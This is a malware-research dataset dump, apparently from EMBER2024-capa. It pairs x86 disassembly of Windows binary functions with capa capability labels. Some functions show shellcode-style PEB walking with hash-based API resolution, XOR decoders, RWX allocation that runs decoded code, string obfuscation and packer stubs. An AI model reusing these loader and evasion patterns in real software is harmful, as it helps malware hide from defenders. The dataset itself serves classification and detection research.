joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404290
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e698
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x4266ac]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x4266ac]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x4043e4
cmp byte [ebx + 0x45], 0
je 0x4043e4
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x4042f0
xor al, al
jmp 0x4043e6
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], 8
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x404330
cmp dword [esp + 0x2c], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x14]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x2c]
lea edi, [esp + 0x1c]
cmovae edi, dword [esp + 0x1c]
lea esi, [esp + 0x1c]
cmovae esi, dword [esp + 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x404371
dec eax
je 0x404375
sub eax, 2
je 0x4043cb
xor bl, bl
jmp 0x4043cd
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp ecx, 0x10
lea eax, [esp + 0x18]
cmovae eax, edx
sub esi, eax
je 0x4043ac
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x20]
cmovae eax, edx
push 1
push eax
call fcn.004075b9
add esp, 0x10
cmp esi, eax
jne 0x40436d
cmp byte [ebx + 0x45], 0
je 0x4043cb
test esi, esi
jne 0x404330
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.00403aa0
jmp 0x404330
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x4043e0
push dword [esp + 0x18]
call fcn.00405c5a
add esp, 4
mov al, bl
jmp 0x4043e6
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00405aaf
mov esp, ebp
pop ebp
ret
Function at 0x414f3c
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4266ac]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0041045b
mov dword [ebp - 0x14], eax
cmp dword [0x428a78], edi
jne 0x41502d
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x414fba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41510d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x41510d
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41510d
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x428a78], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x428a7c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x428a80], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x428a88], eax
test eax, eax
je 0x41502a
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x428a84], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x415052
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x415045
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x415067
push 4
pop eax
jmp 0x41510f
cmp dword [ebp - 0x14], edi
je 0x415067
push dword [0x428a78]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41504c
mov eax, dword [0x428a84]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x4150c5
cmp dword [0x428a88], esi
je 0x4150c5
push eax
call ebx
push dword [0x428a88]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4150c5
test eax, eax
je 0x4150c5
call ecx
test eax, eax
je 0x4150ba
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4150ba
test byte [ebp - 8], 1
jne 0x4150c5
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4150f5
mov eax, dword [0x428a7c]
cmp eax, esi
je 0x4150f2
push eax
call ebx
test eax, eax
je 0x4150f2
call eax
mov edi, eax
test edi, edi
je 0x4150f2
mov eax, dword [0x428a80]
cmp eax, esi
je 0x4150f2
push eax
call ebx
test eax, eax
je 0x4150f2
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x428a78]
call ebx
test eax, eax
je 0x41510d
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x41510f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405aaf
leave
ret
Function at 0x405e20
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x4a55eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4040f4
call fcn.00406a81
push 4
mov dword [esp + 0x18], 0
call fcn.0040765a
mov edi, eax
add esp, 4
test edi, edi
je 0x405e94
push ebx
call fcn.00406959
mov dword [edi], eax
call fcn.00406718
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00406a42
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x405e88
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00406a6a
pop ebx
jmp 0x405e96
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4080d1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a8648]
jne 0x4080db
repz ret
jmp fcn.0040c7cc
Function at 0x411c0c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4a8648]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b33c
and dword [ebp - 0x14], 0
cmp dword [0x4aaf8c], 0
mov dword [ebp - 0x18], eax
jne 0x411cbf
push 0x403f00
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x411d67
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403ef4
push ebx
call edi
test eax, eax
je 0x411d67
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403ee4
push ebx
mov dword [0x4aaf8c], eax
call edi
push eax
call esi
push 0x403ed0
push ebx
mov dword [0x4aaf90], eax
call edi
push eax
call esi
push 0x403eb4
push ebx
mov dword [0x4aaf94], eax
call edi
push eax
call esi
mov dword [0x4aaf9c], eax
test eax, eax
je 0x411cbf
push 0x403e9c
push ebx
call edi
push eax
call esi
mov dword [0x4aaf98], eax
mov eax, dword [0x4aaf98]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x411d18
cmp dword [0x4aaf9c], ecx
je 0x411d18
push eax
call esi
push dword [0x4aaf9c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x411d18
test ebx, ebx
je 0x411d18
call edi
test eax, eax
je 0x411d0f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x411d0f
test byte [ebp - 8], 1
jne 0x411d18
or dword [ebp + 0x10], 0x200000
jmp 0x411d4b
mov eax, dword [0x4aaf90]
cmp eax, dword [ebp - 0x18]
je 0x411d4b
push eax
call esi
test eax, eax
je 0x411d4b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x411d4b
mov eax, dword [0x4aaf94]
cmp eax, dword [ebp - 0x18]
je 0x411d4b
push eax
call esi
test eax, eax
je 0x411d4b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4aaf8c]
call esi
test eax, eax
je 0x411d67
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x411d69
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004080d1
leave
ret

Function at 0x4a3f90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0x82ece8], ax
mov word [0x82ecec], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0x82ece8
mov dword [0x82ecf4], 0x320033
mov dword [0x82ecfc], 0x6c006c
mov word [0x82ecee], cx
mov dword [0x82ecf0], 0x6c0065
mov dword [0x82ecf8], 0x64002e
mov word [0x82ecea], dx
mov word [0x82ed00], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x82ece4]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0x82ece0], eax
mov eax, dword [0x4afd34]
push edx
push eax
mov byte [0x4aafab], 0x65
mov dword [0x4aafa1], 0x75747269
mov word [0x4aafa5], 0x6c61
mov byte [0x4aafa0], 0x56
mov word [0x4aafac], 0x7463
mov byte [0x4aafae], 0
mov dword [0x4aafa7], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x4a4080
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0x80c
cmp dword [0x82ece4], 0x37
jne 0x4a411b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov eax, dword [esp]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push 0
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 8]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [esp + 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push 0
lea ecx, [esp + 0x410]
push ecx
push 0
push 0x403f80
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edx, dword [0x82fcd8]
mov dword [esp], edx
mov eax, 0x5d1
add dword [esp], eax
mov eax, dword [esp]
mov cl, byte [eax + esi]
mov edx, dword [0x4afd34]
mov byte [edx + esi], cl
add esp, 0x80c
ret
Function at 0x4a42c0
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x82ece4]
sub esp, 0x9cc
push ebx
push ebp
push esi
mov esi, dword [0x4afd34]
shr eax, 3
push edi
test eax, eax
je 0x4a446a
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], eax
jmp 0x4a42f4
mov esi, dword [esp + 0x18]
cmp dword [0x82ece4], 0x1c
jne 0x4a4311
lea eax, [esp + 0x38]
push eax
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edx, dword [0x4a92d0]
mov eax, dword [0x4a92d4]
mov ecx, dword [0x4a92d8]
mov edi, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0x24], edx
mov edx, dword [0x4a92dc]
mov ebp, 0xc6ef3720
mov dword [esp + 0x34], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], edx
mov dword [esp + 0x1c], 0x20
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x30]
mov ecx, edi
shl ecx, 4
add ecx, dword [esp + 0x2c]
lea edx, [edi + ebp]
xor eax, ecx
xor eax, edx
sub ebx, eax
mov eax, ebx
shl eax, 4
mov dword [0x82ec54], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
add dword [esp + 0x14], eax
cmp dword [0x82ece4], 0x1be
jne 0x4a439d
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, ebx
shr esi, 5
add esi, dword [esp + 0x34]
cmp dword [0x82ece4], 0x979
mov dword [0x82ec58], 0xff6b3619
mov dword [0x82ec5c], 0xffffffff
jne 0x4a43ef
mov edx, dword [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
lea eax, [esp + 0x1dc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [ebx + ebp]
xor esi, eax
mov eax, dword [esp + 0x14]
xor eax, esi
sub edi, eax
add ebp, 0x61c88647
dec dword [esp + 0x1c]
mov dword [esp + 0x14], eax
jne 0x4a434a
cmp dword [0x82ece4], 0x8d4
jne 0x4a4427
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov esi, dword [esp + 0x18]
mov dword [esi], edi
mov dword [esi + 4], ebx
cmp dword [0x82ece4], 0x17
jne 0x4a4459
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea edx, [esp + 0x98]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esi, 8
dec dword [esp + 0x20]
mov dword [esp + 0x18], esi
jne 0x4a42f0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x9cc
ret
Function at 0x4038f9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4129e8]
jne 0x403903
repz ret
jmp fcn.004050b8

Function at 0x40c4a5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00408e14
xor ebx, ebx
cmp dword [0x414760], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40c57a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40c4e5
xor eax, eax
jmp 0x40c63e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40c4de
push eax
call fcn.00408db1
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x414760], eax
call esi
push eax
call fcn.00408db1
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x414764], eax
call esi
push eax
call fcn.00408db1
mov dword [0x414768], eax
lea eax, [ebp - 8]
push eax
call fcn.004048b5
test eax, eax
pop ecx
pop ecx
je 0x40c548
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00404d6d
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40c57a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00408db1
cmp eax, ebx
pop ecx
mov dword [0x414770], eax
je 0x40c57a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00408db1
pop ecx
mov dword [0x41476c], eax
mov eax, dword [0x41476c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40c5f3
cmp dword [0x414770], esi
je 0x40c5f3
push eax
call fcn.00408e1d
pop ecx
call eax
cmp eax, ebx
je 0x40c5c0
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x414770]
call fcn.00408e1d
pop ecx
call eax
test eax, eax
je 0x40c5c0
test byte [ebp - 0x18], 1
jne 0x40c5f3
lea eax, [ebp - 0xc]
push eax
call fcn.004048ec
test eax, eax
pop ecx
je 0x40c5db
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00404d6d
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40c5ea
or dword [ebp + 0x10], 0x200000
jmp 0x40c624
or dword [ebp + 0x10], 0x40000
jmp 0x40c624
mov eax, dword [0x414764]
cmp eax, esi
je 0x40c624
push eax
call fcn.00408e1d
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40c624
mov eax, dword [0x414768]
cmp eax, esi
je 0x40c624
push dword [ebp - 4]
push eax
call fcn.00408e1d
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x414760]
call fcn.00408e1d
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x409400
Capabilities:
Resolve function by parsing pe exports

Disassembly:
aaa
nop
dec ebx
cwde
inc ecx
xchg ecx, eax
xchg ecx, eax
inc ebx
inc ebx
salc
inc eax
inc ecx
cwde
stc
dec ecx
inc eax
cdq
dec eax
daa
xchg edx, eax
dec ecx
daa
stc
aaa
inc ebx
dec eax
aaa
xchg ecx, eax
das
daa
xchg ecx, eax
daa
stc
wait
xchg edx, eax
dec ebx
cld
inc ecx
xchg edx, eax
salc
dec ebx
dec ecx
stc
cwde
xchg ecx, eax
inc ecx
das
cwde
std
lahf
dec edx
aas
stc
xchg ebx, eax
clc
xchg ebx, eax
inc eax
dec eax
dec eax
inc edx
clc
cdq
wait
xchg ecx, eax
aaa
cdq
inc ebx
cwde
cmc
stc
cld
inc ecx
daa
xchg ebx, eax
cld
lahf
clc
jmp 0x40931d
jmp 0x409328
cld
jmp 0x409333
call 0x4095e2
nop
nop
nop
pushal
xor edx, edx
nop
jmp 0x40934e
mov edx, dword fs:[edx + 0x30]
nop
mov ebp, esp
nop
mov edx, dword [edx + 0xc]
nop
mov edx, dword [edx + 0x14]
nop
jmp 0x409368
movzx ecx, word [edx + 0x26]
mov esi, dword [edx + 0x28]
nop
jmp 0x40937a
xor edi, edi
nop
jmp 0x40938b
xor eax, eax
jmp 0x40939a
lodsb al, byte [esi]
nop
jmp 0x4093a8
cmp al, 0x61
nop
jl 0x4093cc
jmp 0x4093b7
nop
jmp 0x4093c9
sub al, 0x20
nop
ror edi, 0xd
nop
jmp 0x4093df
add edi, eax
jmp 0x4093ec
dec ecx
jne 0x40938b
nop
push edx
nop
push edi
nop
mov edx, dword [edx + 0x10]
nop
mov eax, dword [edx + 0x3c]
add eax, edx
rcl byte [eax - 0x6f87bf75]
test eax, eax
nop
je 0x4095b6
jmp 0x409420
nop
jmp 0x40942e
add eax, edx
nop
push eax
nop
jmp 0x40943f
mov ecx, dword [eax + 0x18]
mov ebx, dword [eax + 0x20]
jmp 0x40944f
add ebx, edx
jmp 0x40945e
nop
jmp 0x409469
test ecx, ecx
nop
je 0x4095b4
nop
jmp 0x40947f
xor edi, edi
dec ecx
jmp 0x409490
mov esi, dword [ebx + ecx*4]
nop
jmp 0x4094a4
add esi, edx
nop
nop
xor eax, eax
nop
jmp 0x4094b8
lodsb al, byte [esi]
nop
ror edi, 0xd
nop
jmp 0x4094c9
add edi, eax
nop
cmp al, ah
jmp 0x4094df
jne 0x4094a7
nop
nop
jmp 0x4094f2
add edi, dword [ebp - 8]
nop
cmp edi, dword [ebp + 0x24]
nop
jmp 0x40950a
jne 0x40945e
nop
jmp 0x40951e
jmp 0x40952c
pop eax
mov ebx, dword [eax + 0x24]
nop
jmp 0x409542
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
jmp 0x409556
mov ebx, dword [eax + 0x1c]
jmp 0x40956c
add ebx, edx
mov eax, dword [ebx + ecx*4]
nop
add eax, edx
mov dword [esp + 0x24], eax
nop
pop ebx
nop
pop ebx
jmp 0x409590
popal
jmp 0x40959e
pop ecx
pop edx
push ecx
nop
jmp 0x4095b2
jmp eax
pop eax
nop
pop edi
jmp 0x4095c9
pop edx
nop
mov edx, dword [edx]
nop
jmp 0x4095dc
jmp 0x409368

Function at 0x40978e
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x409790
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00408afe
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00408afe
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00408afe
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00408afe
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00408afe
mov dword [0x41203c], eax
call fcn.00408afe
test eax, eax
jge 0x402550
push 8
call fcn.00408afe
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00408afe
pop ecx
push 1
call fcn.00408afe
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00408afe
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00408afe
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00408afe
jmp 0x402495

Function at 0x408afe
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x408b0d
pop dword [ebp - 0x38]
mov eax, 0x408b0d
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x35a98
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x39d8
xor edx, edx
add edx, eax
mov esi, 0x2c37d236
add esi, 0xd409698e
add esi, dword [ebp - 0x38]
mov ebx, 0xf459cf1d
sub ebx, 0x9eae62e7
add dword [ebp - 0x34], 0x6e0080fc
mov edi, dword [esi]
xor edi, ebx
sub dword [ebp - 0x34], ebx
mov dword [edx], edi
add dword [ebp - 0x34], 0x8fb18bc7
add edx, 0x254b87f0
sub edx, 0x254b87ec
add esi, 0x21d0d54f
sub esi, 0x21d0d54b
loop 0x408b5e
add eax, 0xcc60a538
add eax, 0x33a034fb
xor ebx, ebx
add ebx, eax
add eax, 0xf04ebc50
add eax, 0xfb143b5
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x515910
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb4000]
push edi
or ebp, 0xffffffff
jmp 0x515932
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x515939
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x515928
mov eax, 1
add ebx, ebx
jne 0x51594b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x51595c
jne 0x51596c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51596c
dec eax
add ebx, ebx
jne 0x515968
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x515940
xor ecx, ecx
sub eax, 3
jb 0x515984
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5159f6
sar eax, 1
mov ebp, eax
jmp 0x51598f
add ebx, ebx
jne 0x51598f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x51599c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x5159c0
inc ecx
add ebx, ebx
jne 0x5159ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5159a1
jne 0x5159bd
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5159a1
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5159e0
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5159d1
jmp 0x51592e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5159e0
add edi, ecx
jmp 0x51592e
pop esi
mov edi, esi
mov ecx, 0x522e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5159fe
cmp byte [edi], 0x22
jne 0x5159fe
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x515a03
lea edi, [esi + 0x112000]
mov eax, dword [edi]
or eax, eax
je 0x515a7b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x117510]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x11763c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x515a30
mov ecx, edi
jns 0x515a5f
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x117640]
or eax, eax
je 0x515a75
mov dword [ebx], eax
add ebx, 4
jmp 0x515a4d
call dword [esi + 0x117644]
popal
jmp 0x48e1ce